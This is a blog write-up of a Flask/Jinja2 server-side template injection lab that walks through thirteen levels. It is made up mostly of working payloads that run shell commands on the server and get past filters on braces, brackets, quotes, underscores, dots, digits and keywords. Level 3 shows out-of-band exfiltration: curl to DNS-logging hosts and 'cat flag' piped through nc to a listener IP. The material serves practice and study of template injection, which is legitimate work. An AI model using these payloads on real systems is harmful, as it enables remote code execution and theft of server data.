banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

Flask SSTI Target Field Record

image

Environment#

Knowledge Points#

  • flask
  • SSTI

SSTI (Server-Side Template Injection) is a web application vulnerability that occurs in server-side template engines. It allows attackers to execute arbitrary code or obtain sensitive information by injecting malicious template code into user input.

SSTI is commonly found in web applications that use template engines, such as Flask, Django, Jinja2, etc. In these applications, template engines are used to render dynamic data into static HTML pages. Typically, developers use placeholders (variables) in templates to represent the values to be rendered, such as {{ username }}.

When the application does not properly filter or restrict user input, attackers can craft special malicious input that the template engine directly parses and executes, leading to the execution of malicious code snippets rather than simply rendering data.

Through SSTI attacks, attackers can execute arbitrary server-side code, including reading/modifying application data, executing commands, accessing the file system, etc. This can lead to information leakage, server attacks, remote code execution, and other dangerous situations.

This environment is based on Flask, which is a popular Python web framework used for quickly building web applications with flexibility and scalability.

Problem-Solving Ideas#

The entire target environment is as follows:

image

How to determine Python SSTI template injection:

  • Middleware
  • Return information (jinja2, flask)
  • Keyword hints

Level 1#

{{2*2}}, output, 4

image

image

{{config}}

Hello <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

{{config.SECRET_KEY}}

Jinja2 payload can be used

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}  

image

Level 2#

Level 2 filters bl['\{\{']

image

Here, {{ is filtered, and {%%} can be used to bypass.

Using Burp to brute force exploitable classes

{%print(''.__class__.__base__.__subclasses__()[346].__init__.__globals__['os'].popen('ls').read())%}

image

Returns as follows:

image

Level 3#

No WAF and blind

Sending any request package returns the following content:

image

Blind injection can use DNS exfiltration.

Payload as follows:

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.pc1dd3.ceye.io').read()}}{% endif %}{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl http://`cat flag`.1riscn.dnslog.cn").read()}}

NC listening

{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}

Level 4#

bl['[', ']']

Filters square brackets.

For indexing [], pop() or __getitem__() can be used instead of []; for classes, __getattribute__ can be used to bypass.

{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(81).__init__.__globals__.__getitem__('__import__')('os').popen("env").read()}}

image

Level 5#

Filters quotes, bl['\'', '"']

  • Request bypass
{{().__class__.__bases__[0].__subclasses__()[81].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}

POST:arg1=os&arg2=cat flag

Payload:

POST /level/5 HTTP/1.1
Host: node5.anna.nssctf.cn:28491
Content-Length: 149
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://node5.anna.nssctf.cn:28491
Referer: http://node5.anna.nssctf.cn:28491/level/5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hdt08jc4bu052a9k34e0oocqd6
Connection: close

code={{().__class__.__bases__[0].__subclasses__()[261].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}&arg1=os&arg2=env

image

  • Using cookies
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag

Unable to return content

  • chr() bypass

First, find the position of the chr() function.

{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}

{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}

Unable to return content

Level 6#

bl['_'], filters underscores.

  • Cookie bypass
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

image

  • Sixteen-bit encoding bypass
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}}
  • URL encoding bypass

Using the lipsum method to directly call os.

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("env")|attr("read")()}}

image

  • Base64 encoding
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
  • attr() combined with request
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 

x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

Level 7#

bl['.'], filters .

image

  • [] bypass [x]
{{''['__class__']['__bases__']['__subclasses__']()['__getitem__'](81)['__init__']['__globals__']['__getitem__']('__import__')('os')['popen']("env")['read']()}}
  • URL encoding bypass [√]
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("env")|attr("read")()}}

image

Another way does not work [x]

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('env')|attr('read')()}}

Level 8#

bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

Keyword filtering

().__class__=()["__cla"+"ss__"] // Here the dot is replaced by square brackets
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('env').read()

Transformed to:

{{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[133]["__in"+"it__"]["__glo"+"bals__"]['po'+'pen']('env').read()}}

image

Or use a for statement

{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('env')["read"]()%}{%endif%}{%endfor%}

Or use the json() filter to concatenate

dict(__in=a,it__=a)|join  =__init__
{%set a=dict(__cla=a,ss__=a)|join%}
{%set b=dict(__ba=a,se__=a)|join%}
{%set c=dict(__subcla=a,sses__=a)|join%}
{%set d=dict(__in=a,it__=a)|join%}
{%set e=dict(__glo=a,bals__=a)|join%}
{%print(""[a][b][c]()[133][d][e]['po'+'pen']('env').read())%}

image

Level 9#

bl['0-9'], filters numbers

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}  

image

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

image

Level 10#

set config = None

url_for.__globals__
url_for.__globals__['current_app'].config

Set config to empty, utilizing current_app

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

image

Level 11#

bl['\'', '"', '+', 'request', '.', '[', ']']

Filters single quotes, double quotes, plus signs, request, dots, and square brackets.

Using set to define variables, dots and square brackets can be replaced with attr, and keywords can be replaced with join.

Prepare a payload:

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()

Modified payload as follows:

{%set a=dict(__cla=a,ss__=b)|join %}  
{%set b=dict(__bas=a,e__=b)|join %}  
{%set c=dict(__subcla=a,sses__=b)|join %}   
{%set d=dict(__ge=a,titem__=a)|join%}
{%set e=dict(__in=a,it__=b)|join %} 
{%set f=dict(__glo=a,bals__=b)|join %} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=self|string|attr(d)(18)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

image

  • Another solution

Using lipsum to obtain the underscore.

image

The index of the underscore is 18.

{{(lipsum|string|list)|attr(pop)(18)}}

attr() requires a string inside, directly inputting pop needs to be surrounded by quotes '', but here the quotes are filtered, so we need to construct a pop string:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

At this point, we can successfully obtain _, and then use the underscore to construct other classes:

{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

Then construct the methods used later:

{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join%}

Finally, the complete exploitation syntax:

{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

Combined together:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join %}
{% set read=dict(read=a)|join %}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image

Level 12#

bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']

Similar to level 11, with additional filtering for numbers and underscores, use count to obtain numbers, construct pop to obtain underscores.

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()
{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{% print(x)%}

image

{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(class=a)|join,x,x)|join()%}  
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}  
{%set c=(x,x,dict(subclasses=a)|join,x,x)|join() %}   
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(init=b)|join,x,x)|join()%} 
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=self|string|attr(d)(eighteen)%} 
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

image

  • Another solution
code={%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image

Level 13#

bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']

Additional keyword filtering, where self is banned. Originally used to set spaces, here we can use pop to construct spaces, simply modify the previous payload.

code={% set po=dict(po=a,p=a)|join%}
{%set one=dict(aaaaaaaaaaaaaaaaa=a)|join|count%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join()%}  
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}  
{%set c=(x,x,dict(subcla=a,sses=a)|join,x,x)|join() %}   
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(ini=a,t=a)|join,x,x)|join()%} 
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=(()|select|string|list)|attr(po)(one)%}
{%set flag=dict(env=abc)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}
  • Another solution
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(env=a)|join %}
{% set cmd=(cat)|join %}
{% set read=dict(read=a)|join %}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image

References#

https://tttang.com/archive/1698/#toc_level-8
https://johnfrod.top/ctf/flask-ssti-lab%E6%94%BB%E7%95%A5/

Image: https://wallhaven.cc/w/jxl31y

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.